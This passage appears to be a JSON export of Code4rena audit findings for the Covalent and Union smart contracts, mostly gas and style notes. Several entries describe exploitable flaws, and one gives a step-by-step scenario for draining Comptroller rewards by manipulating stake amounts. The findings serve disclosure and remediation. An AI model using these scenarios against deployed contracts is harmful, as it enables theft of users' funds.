is getting disabled validators as well", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "getValidatorsDetails is getting disabled validators as well"}, {"title": "Unnecessary require checker", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact In `disableValidator` function, validatorId checker is not required, or it is good to change require order for better contract. ## Proof of Concept If `validatorId` is higher than `validatorsN`, it means, that validator is not initialized, so `validator._address` is always `address(0)`. so it will revert in Line 358. It means that Line 359 cannot be executed at all. ## Tools Used ## Recommended Mitigation Steps Move Line 359 (https://github.com/code-423n4/2021-10-covalent/blob/main/contracts/DelegatedStaking.sol#L359) at the top of function body, before get validator storage variable. This is good to track correct issue. Or You can remove that line. So if validatorId is invalid, the error message will be `Caller is not the owner or the validator`, because validator._address = address(0) which cannot be caller. "}, {"title": "Update function access", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-covalent-findings", "body": "Update function access"}, {"title": "Recommend to use OZ SafeERC20 library", "html_url": "https://github.com/code-423n4/2021-10-covalent-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-10-covalent-findings", "body": "# Handle xYrYuYx # Vulnerability details ## Impact This is too complicated steps to transfer ERC20 token which could use more gas. You don't need to check balance before transfer. If there is no enough balance, it SafeERC20 will revert. Also you don't need to check balance after transfer, because CQT does not have transaction fee. ## Proof of Concept https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol ## Tools Used ## Recommended Mitigation Steps Since there is no transaction fee in CQT token, you can use OZ SafeERC20 library to send or receive. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol#L20 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol#L28 "}, {"title": "WadRayMath state variables", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/110", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pants # Vulnerability details WadRayMath state variables WAD, halfWAD could be set private. "}, {"title": "Lack of precision in wadDiv ", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/109", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "Lack of precision in wadDiv "}, {"title": "caching multiple used variables", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/106", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pants # Vulnerability details In Treasury.editSchedule function editSchedule( uint256 dripStart_, uint256 dripRate_, address target_, uint256 amount_ ) public onlyAdmin { require(tokenSchedules[target_].target != address(0), \"Target schedule doesn't exist\"); tokenSchedules[target_].dripStart = dripStart_; tokenSchedules[target_].dripRate = dripRate_; tokenSchedules[target_].amount = amount_; } We suggest to cache tokenSchedules[target_] at start and then use the cached value to save repeated access to a *storage* state variable. "}, {"title": "Gas efficiency suggestions", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Gas efficiency suggestions"}, {"title": "double reading from memory inside a for loop.", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "double reading from memory inside a for loop."}, {"title": "--j is more gas efficient than j--.", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "--j is more gas efficient than j--."}, {"title": "More efficient loops", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "More efficient loops"}, {"title": "UToken.uErc20 field could be immutable ", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UToken.uErc20 field could be immutable "}, {"title": "UToken.__UToken_init can be frontrun", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/97", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pants # Vulnerability details The function __UToken_init can be frontrun. We recommend adding an initializer owner which only it allowed to call such functions, instead of the current _admin there. Not sure whether frontrunning is Low / Medium risk. "}, {"title": "UToken.sol _redeemFresh could be set private instead internal", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pants # Vulnerability details This is one of many examples of the appearance of private instead of internal. Since we manually code reviewing and writing issues we don't list all the appearances. Calling a private function is more gas efficient than calling internal. Here we refer to UToken.sol._redeemFresh function that is used only in UToken.sol file. "}, {"title": "Open TODOs in `Treasury.sol`", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pants # Vulnerability details Line 57 ## Impact Open TODOs can hint at programming or architectural errors that still need to be fixed. ## Tool Used Manual code review. ## Recommended Mitigation Steps Resolve the TODO and bubble up the error. "}, {"title": "Unchecked math operations", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Unchecked math operations"}, {"title": ".length in a loop", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pauliax # Vulnerability details ## Impact .length in a loop can be extracted into a variable and used where necessary to reduce the number of storage reads. An example where this could be applied: for (uint256 i = 0; i < moneyMarkets.length; i++) Solution: uint moneyMarketsLength = moneyMarkets.length; for (uint256 i = 0; i < moneyMarketsLength; i++) Cache the length of the array and use this local variable when iterating over the storage array. "}, {"title": "Zero transfers", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "Zero transfers"}, {"title": "Pre-calculate known values", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pauliax # Vulnerability details ## Impact This duration calculation does not change so can be pre-calculated to reduce gas costs: // before amount = (vestingAmount * (block.timestamp - lastUpdate)) / (vestingEnd - vestingBegin); // after uint256 public constant VESTING_DURATION; // constant state variable VESTING_DURATION = vestingEnd - vestingBegin; // assign value in the constructor amount = (vestingAmount * (block.timestamp - lastUpdate)) / VESTING_DURATION; Same with this: return (token.getPastTotalSupply(blockNumber) * 4e16) / 1e18; //4% "}, {"title": "list of _admins", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/89", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "list of _admins"}, {"title": "Struct with only 1 element", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pauliax # Vulnerability details ## Impact It is not efficient to have a struct with only 1 field as structs are meant for grouping related information together. A market struct can be replaced by directly pointing to a bool value: //before mapping(address => Market) public supportedMarkets; struct Market { bool isSupported; } //after mapping(address => bool) public supportedMarkets; "}, {"title": "Immutable variables", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Immutable variables"}, {"title": "getSupply and getSupplyView are identical", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "getSupply and getSupplyView are identical"}, {"title": "Two-step change of a critical parameter", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/84", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In Treasury function setAdmin allows an admin to change it to a different address. This function has no validations, even a simple check for zero-address is missing, and there is no validation of the new address being correct. If the admin accidentally uses an invalid address for which they do not have the private key, then the system gets locked because the swivel cannot be corrected and none of the other functions that require admin caller can be executed. A similar issue was reported in a previous contest and was assigned a severity of medium: https://github.com/code-423n4/2021-06-realitycards-findings/issues/105 ## Recommended Mitigation Steps Consider either introducing a two-step process or making a test call to the new admin before updating it. "}, {"title": "deposit onlyAssetManager", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "deposit onlyAssetManager"}, {"title": "Wrong implementation of `CreditLimitByMedian.sol#getLockedAmount()` will lock a much bigger total amount of staked tokens than expected", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/81", "labels": ["bug", "2 (Med Risk)"], "target": "2021-10-union-findings", "body": "Wrong implementation of `CreditLimitByMedian.sol#getLockedAmount()` will lock a much bigger total amount of staked tokens than expected"}, {"title": "Wrong implementation of `CreditLimitByMedian.sol#getLockedAmount()` makes it unable to unlock `lockedAmount` in `CreditLimitByMedian` model", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/80", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "Wrong implementation of `CreditLimitByMedian.sol#getLockedAmount()` makes it unable to unlock `lockedAmount` in `CreditLimitByMedian` model"}, {"title": "Comptroller rewards can be artificially inflated and drained by manipulating [totalStaked - totalFrozen] (or: wrong rewards calculation)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/78", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle kenzo # Vulnerability details By adding a small of amount of staking to a normal user scenario, and not approving this small amount as a loan for anybody, a staker can gain disproportionate amounts of comptroller rewards, even to the point of draining the contract. For example: Stakers A,B,C stake 100, 65, 20, approve it for borrower Z, then staker B stakes an additional 0.07 DAI, and borrower Z borrows 185. This will result in disproportionate amount of rewards. As far as I see, this is the main line that causes the inflated amount (*deep breath*): In calculateRewardsByBlocks, you set: ``` userManagerData.totalStaked = userManagerContract.totalStaked() - userManagerData.totalFrozen; ``` https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L140 Note that a staker can make this amount very small (depending of course on the current numbers of the protocol). (A more advanced attacker might diminish the effect of the current numbers of the protocol by initiating fake loans to himself and not paying them.) This field is then passed to calculateRewards, and passed further to _getInflationIndexNew, and further to _getInflationIndex. passed to calculateRewards : https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L167 passed to _getInflationIndexNew : https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L259 passed to _getInflationIndex : https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L238 Now we actually use it in the following line (as effectiveAmount): ``` return blockDelta * inflationPerBlock(effectiveAmount).wadDiv(effectiveAmount) + inflationIndex; ``` https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L315 So 2 things are happening here: 1. mul by ```inflationPerBlock(effectiveAmount)``` - uses the lookup table in Comptroller. This value gets bigger as effectiveAmount gets smaller, and if effectiveAmount is in the area of 10**18, we will get the maximum amount of the lookup. 2. div by ```effectiveAmount``` - as we saw, this can be made small, thereby enlarging the result. All together, this calculation will be set to ```curInflationIndex``` and then used in the following line: ``` return (curInflationIndex - startInflationIndex).wadMul(effectiveStakeAmount).wadMul(inflationIndex); ``` https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L263 Note the ```curInflationIndex - startInflationIndex```: per my POC (see below), this can result in a curInflationIndex which is orders of magnitude larger (200x) than startInflationIndex. This creates a huge inflation of rewards. ## Impact Comptroller rewards can be drained. ## Proof of Concept See the following script for a POC of reward drainage. It is based on the scenario in test/integration/testUserManager: Stakers A,B,C stake 100, 65, 20, and borrower Z borrows 185. But the difference in my script is that just before borrower Z borrows 185, staker B stakes an additional 0.07 DAI. (This will be the small amount that is ```totalStaked - totalFrozen```). Then, we wait 11 blocks to make the loan overdue, call updateOverdueInfo so totalFrozen would be updated, and then staker B calls withdrawRewards. He ends up with 873 unionTokens out of the 1000 the Comptroller has been seeded with. And this number can be enlarged by changing the small additional amount that staker B staked. In this scenario, when calling withdrawRewards, the calculated ```curInflationIndex``` will be 215 WAD, while ```startInflationIndex``` is 1 WAD, and this is the main issue as I understand it. File password: \"union\". https://pastebin.com/3bJF8mTe ## Tools Used Manual analysis, hardhat ## Recommended Mitigation Steps Are you sure that this line should deduct the totalFrozen? ``` userManagerData.totalStaked = userManagerContract.totalStaked() - userManagerData.totalFrozen; ``` https://github.com/code-423n4/2021-10-union/blob/main/contracts/token/Comptroller.sol#L140 Per my tests, if we change it to just ``` userManagerData.totalStaked = userManagerContract.totalStaked(); ``` Then we are getting normal results again and no drainage. And the var _is_ called just totalStaked... So maybe this is the change that needs to be made? But maybe you have a reason to deduct the totalFrozen. If so, then a mitigation will perhaps be to limit curInflationIndex somehow, maybe by changing the lookup table, or limiting it to a percentage from startInflationIndex ; but even then, there is also the issue of dividing by ```userManagerData.totalStaked``` which can be made quite small as the user has control over that. "}, {"title": "`UToken.sol` should inherits and complies with `IUToken.sol`", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/77", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation, `UToken.sol` does not inherit and comply with `IUToken.sol`. This is against the best practices and inconsistent with other contracts in the codebase that do inherit and comply with their interfaces. For example, the `repay()` function defined in `IUToken.sol` is implementated as `repayBorrowBehalf()` and `repayBorrow()`. It makes the `IUToken.sol` unable to be used and misleading. ### Recommendation Make `UToken.sol` inherits and complies with `IUToken.sol`. "}, {"title": "Gas: Explicit overflow checks even though solidity 0.8 is used (2)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `UToken` contract uses solidity version 0.8 which already comes with implicit overflow checks. The explicit overflow checks in `removeReserves` can be removed: ```solidity // We checked reduceAmount <= totalReserves above, so this should never revert. // @audit this overflow check already happened implicitly require(totalReservesNew <= totalReserves, \"reduce reserves unexpected underflow\"); ``` "}, {"title": "Gas: Explicit overflow checks even though solidity 0.8 is used (1)", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `UToken` contract uses solidity version 0.8 which already comes with implicit overflow checks. The explicit overflow checks in `addReserves` can be removed: ```solidity /* Revert on overflow */ // @audit this overflow check already happened implicitly require(totalReservesNew >= totalReserves, \"add reserves unexpected overflow\"); totalReserves = totalReservesNew; ``` "}, {"title": "Gas: `AssetManager.getMoneyMarket` use assignment", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Gas: `AssetManager.getMoneyMarket` use assignment"}, {"title": "Gas: `AssetManager.rebalance` cache last market", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Gas: `AssetManager.rebalance` cache last market"}, {"title": "`UnionToken` should check whitelist on `from`?", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `UnionToken` can check for a whitelist on each transfer in `_beforeTokenTransfer`: ```solidity if (whitelistEnabled) { require(isWhitelisted(msg.sender) || to == address(0), \"Whitelistable: address not whitelisted\"); } ``` This whitelist is checked on `msg.sender` not on `from`, the token owner. ## Impact A single whitelisted account can act as an operator (everyone calls `unionToken.allow(operator, max)` where the operator is a whitelisted trusted smart contract) for all other accounts. This essentially bypasses the whitelist. ## Recommended Mitigation Steps Think about if the whitelist on `msg.sender` is correct or if it should be on `from`. "}, {"title": "`withdrawRewards` should send remaining balance", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "`withdrawRewards` should send remaining balance"}, {"title": "`repayBorrowWithPermit` is missing `nonReentrant`", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/67", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `UToken.repayBorrowWithPermit` function is missing the `repayBorrowWithPermit` modifier which the other repay functions (`repayBorrow`, `repayBorrowBehalf`) have. ## Impact There's a possibility for re-entrancy. Even though I did not find a way to exploit it, it seems like this function should have the `nonReentrant` modifier as the other similar `repay*` functions have it as well. ## Recommended Mitigation Steps Add `nonReentrant` to `repayBorrowWithPermit`. "}, {"title": "`borrow` must `accrueInterest` first", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/66", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `UToken.borrow` function first checks the borrowed balance and the old credit limit _before_ accruing the actual interest on the market: ```solidity // @audit this uses the old value require(borrowBalanceView(msg.sender) + amount + fee <= maxBorrow, \"UToken: amount large than borrow size max\"); require( // @audit this calls uToken.calculateInterest(account) which returns old value uint256(_getCreditLimit(msg.sender)) >= amount + fee, \"UToken: The loan amount plus fee is greater than credit limit\" ); // @audit accrual only happens here require(accrueInterest(), \"UToken: accrue interest failed\"); ``` Thus the borrowed balance of the user does not include the latest interest as it uses the old global `borrowIndex` but the new `borrowIndex` is only set in `accrueInterest`. ## Impact In low-activity markets, it could be that the `borrowIndex` accruals (`accrueInterest` calls) happen infrequently and a long time is between them. A borrower could borrow tokens, and borrow more tokens later at a different time without first having their latest debt accrued. This will lead to borrowers being able to borrow more than `maxBorrow` and **more than their credit limit** as these checks are performed before updating accruing interest. ## Recommended Mitigation Steps The `require(accrueInterest(), \"UToken: accrue interest failed\");` call should happen at the beginning of the function. "}, {"title": "Unbounded iteration in `deleteMarket`", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `MarketRegistry.deleteMarket` iterates over all `uTokenList` elements. ## Impact The transactions can fail if the arrays get too big and the transaction would consume more gas than the block limit. This will then result in a denial of service for the desired functionality and break core functionality. ## Recommended Mitigation Steps Keep the array small or use an [EnumerableSet])(https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol) that can delete in constant time. "}, {"title": "Rebalance will fail due to low precision of percentages", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/64", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `AssetManager.rebalance` function has a check at the end to ensure that all tokens are deposited again: ```solidity require(token.balanceOf(address(this)) == 0, \"AssetManager: there are remaining funds in the fund pool\"); ``` The idea is that the last market deposits all `remainingTokens` but the last market does not have to support the token in which case the transaction will fail, or the `percentages` parameter needs to be chosen to distribute all tokens before the last one (they need to add up to `1e4`). However, these percentages have a low precision as they are in base points, i.e, the lowest unit is `1 = 0.01%`. This will leave dust in the contract in most cases as the tokens have much higher precision. ## POC Assume the last market does not support the token and thus `percentages` are chosen as `[5000, 5000]` to rebalance the first two markets. Withdrawing all tokens form the markets leads to a `tokenSupply = token.balanceOf(address(this)) = 10,001`: Then the deposited amount is `amountToDeposit = (tokenSupply * percentages[i]) / 10000 = 10,001 * 5,000 / 10,000 = 5,000`. The two deposits will leave dust of `10,001 - 2 * 5,000 = 1` in the contract and the `token.balanceOf(address(this)) == 0` balance check will revert. ## Impact Rebalancing will fail in most cases if the last market does not support the token due to precision errors. ## Recommended Mitigation Steps Remove the final zero balance check, or make sure that the last market that is actually deposited to receives all remaining tokens. "}, {"title": "Rebalance will fail if a market has high utilization", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/63", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-union-findings", "body": "Rebalance will fail if a market has high utilization"}, {"title": "`withdrawSeq` might not be set", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle cmichel # Vulnerability details The `AssetManager.withdraw` function iterates through the markets based on the `withdrawSeq` array field. This field must be manually set to cover all markets on each new market addition. ## Impact It could be that a market is added but this array is not updated. Thus not all markets are iterated and users might not be able to withdraw their entire `amount` as the new market is skipped ## Recommended Mitigation Steps Ensure that `withdrawSeq` is always up-to-date when `addAdapter` is called, for example, `addAdapter` could add the new adapter as the last element to `withdrawSeq` until it's manually set through `changeWithdrawSequence`. "}, {"title": "Code Style: constants should be named in all caps", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/61", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "Code Style: constants should be named in all caps"}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Cache array length in for loops can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "# Handle WatchPug # Vulnerability details For the storage variables that will be accessed multiple times, cache and read from the stack can save ~100 gas from each extra read (`SLOAD` after Berlin). For example: https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/contracts/Exchange.sol#L217-L233 ```solidity uint256 baseTokenQtyToRemoveFromInternalAccounting = (_liquidityTokenQty * internalBalances.baseTokenReserveQty) / totalSupplyOfLiquidityTokens; internalBalances .baseTokenReserveQty -= baseTokenQtyToRemoveFromInternalAccounting; // We should ensure no possible overflow here. if (quoteTokenQtyToReturn > internalBalances.quoteTokenReserveQty) { internalBalances.quoteTokenReserveQty = 0; } else { internalBalances.quoteTokenReserveQty -= quoteTokenQtyToReturn; } internalBalances.kLast = internalBalances.baseTokenReserveQty * internalBalances.quoteTokenReserveQty; ``` `internalBalances.baseTokenReserveQty` and `internalBalances.quoteTokenReserveQty` can be cached. ### Recommendation Change to: ```solidity uint256 internalBaseTokenReserveQty = internalBalances.baseTokenReserveQty; uint256 baseTokenQtyToRemoveFromInternalAccounting = (_liquidityTokenQty * internalBaseTokenReserveQty) / totalSupplyOfLiquidityTokens; internalBalances .baseTokenReserveQty = internalBaseTokenReserveQty = internalBaseTokenReserveQty - baseTokenQtyToRemoveFromInternalAccounting; // We should ensure no possible overflow here. uint256 internalQuoteTokenReserveQty = internalBalances.quoteTokenReserveQty; if (quoteTokenQtyToReturn > internalQuoteTokenReserveQty) { internalBalances.quoteTokenReserveQty = internalQuoteTokenReserveQty = 0; } else { internalBalances.quoteTokenReserveQty = internalQuoteTokenReserveQty = internalQuoteTokenReserveQty - quoteTokenQtyToReturn; } internalBalances.kLast = internalBaseTokenReserveQty * internalQuoteTokenReserveQty; ``` "}, {"title": "Avoid unnecessary code execution can save some gas in edge cases", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Avoid unnecessary code execution can save some gas in edge cases"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/55", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "Unused imports"}, {"title": "Code Style: consistency", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/52", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "# Handle WatchPug # Vulnerability details The parameter names of event `RampTargetPrice` should be the same as the struct `TargetPrice` for consistency. https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L61-L78 ```solidity=61 event RampTargetPrice( uint256 oldTargetPrice, uint256 newTargetPrice, uint256 initialTime, uint256 futureTime ); ``` https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L117-L124 ```solidity=117{120-121} struct TargetPrice { uint256 initialTargetPrice; uint256 futureTargetPrice; uint256 initialTargetPriceTime; uint256 futureTargetPriceTime; uint256[2] originalPrecisionMultipliers; } ``` ### Recommendation Consider changing to: ```solidity event RampTargetPrice( uint256 oldTargetPrice, uint256 newTargetPrice, uint256 initialTargetPriceTime, uint256 futureTargetPriceTime ); ``` "}, {"title": "Use short circuiting can save gas", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "Use short circuiting can save gas"}, {"title": "UserManager: totalStaked \u2265 totalFrozen should be checked before and after totalFrozen is updated", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-union-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact The require statement in `updateTotalFrozen` and `batchUpdateTotalFrozen` to check that totalStaked \u2265 totalFrozen should be done both before and after `_updateTotalFrozen` is called to ensure that totalStake is still \u2265 totalFrozen. This will serve as a sanity check to ensure that the integrity of the system is not compromised. "}, {"title": "UserManager: _getFrozenCoinAge is not used", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/46", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "UserManager: _getFrozenCoinAge is not used"}, {"title": "AssetManager: getLoanableAmount() can be made more readable", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/45", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-union-findings", "body": "AssetManager: getLoanableAmount() can be made more readable"}, {"title": "UserManager: debtWriteOff() doesn't need if borrower has sufficient assets frozen before subtracting", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: debtWriteOff() doesn't need if borrower has sufficient assets frozen before subtracting"}, {"title": "UserManager: _updateTotalFrozen can be optimized further", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: _updateTotalFrozen can be optimized further"}, {"title": "UserManager: registerMember() can be optimized further", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: registerMember() can be optimized further"}, {"title": "UserManager: cancelVouch() should break from loop when address is found.", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: cancelVouch() should break from loop when address is found."}, {"title": "UserManager: use mapping to avoid iteration", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: use mapping to avoid iteration"}, {"title": "UserManager: addMember() contains redundant require check", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: addMember() contains redundant require check"}, {"title": "UserManager: getCreditLimit() can be optimized further", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: getCreditLimit() can be optimized further"}, {"title": "UserManager: getTotalLockedStake() redundant assignment", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UserManager: getTotalLockedStake() redundant assignment"}, {"title": "CreditLimitByMedian: getLockedAmount() can be optimized further.", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "CreditLimitByMedian: getLockedAmount() can be optimized further."}, {"title": "UToken: revert on over/underflow checks in addReserve() and removeReserve() are unnecessary", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UToken: revert on over/underflow checks in addReserve() and removeReserve() are unnecessary"}, {"title": "UToken: _repayBorrowFresh() function can be optimized further", "html_url": "https://github.com/code-423n4/2021-10-union-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-union-findings", "body": "UToken: _repayBorrowFresh() function can be optimized further"}, 